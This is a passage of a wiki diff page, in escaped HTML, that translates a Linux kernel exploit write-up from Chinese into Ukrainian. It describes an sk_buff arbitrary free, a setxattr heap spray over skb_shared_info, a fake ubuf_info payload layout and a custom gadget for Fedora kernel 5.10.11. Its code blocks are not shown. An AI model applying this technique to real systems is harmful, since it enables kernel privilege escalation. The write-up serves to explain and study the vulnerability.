sk_buff&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;9.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;對sk_buff內核地址進行任意釋放&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;10. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Зателефонуйте pthread_barrier_wait &lt;/ins&gt;()&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;, виконайте 32 setxattr &lt;/ins&gt;()&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;, щоб покрити кучу розпилення pthreads skb_shared_info&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;10.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;調用pthread_barrier_wait&lt;/del&gt;()&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;，執行32個setxattr&lt;/del&gt;()&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;覆蓋skb_shared_info的堆噴pthreads&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;11. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Використовуйте recv &lt;/ins&gt;() &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;для отримання мережевих повідомлень із серверного сокета.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;11.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;使用recv&lt;/del&gt;()&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;接收服務器套接字的網絡消息。&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;chinese&amp;quot; dir&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;ltr&amp;quot; class&lt;/del&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Вільно писати через skb_shared_info &lt;/ins&gt;==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;=&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;=通過skb_shared_info 進行任意寫==&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Нижче наведено дійсне корисне навантаження, яке замінює об’єкт sk_buff:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;以下是覆蓋sk_buff對象的有效payload：&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l495&quot; &gt;Line 495:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 473:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;skb_shared_info &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;міститься в даних ін'єкції, саме на відстані SKB_SHINFO_OFFSET, що становить 3776 байт&lt;/ins&gt;. &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Покажчик skb_shared_info.destructor_arg зберігає адресу struct ubuf_info. Оскільки відома адреса ядра атакованого sk_buff, підроблений ubuf_info можна створити за адресою MY_UINFO_OFFSET у мережевому буфері. Нижче наведено схему дійсного корисного навантаження:&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 &lt;/del&gt;skb_shared_info.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[File:T0185ccbf9f025c74da.png  | 600px]]&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[File:T0185ccbf9f025c74da.png  | 600px]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Поговоримо про зворотний виклик destructor_arg&lt;/ins&gt;:&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;下面講講destructor_arg 回調&lt;/del&gt;:&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  /*&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;  /*&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l515&quot; &gt;Line 515:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 489:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;Оскільки в vmlinuz&lt;/ins&gt;-5.10.11-200.fc33.&lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;x86_64 я не зміг знайти гаджет, який міг би задовольнити мої потреби, я дослідив і сконструював його сам.&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;由於在vmlinuz&lt;/del&gt;-5.10.11-200.fc33.&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;del class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;/div&amp;gt;&lt;/del&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
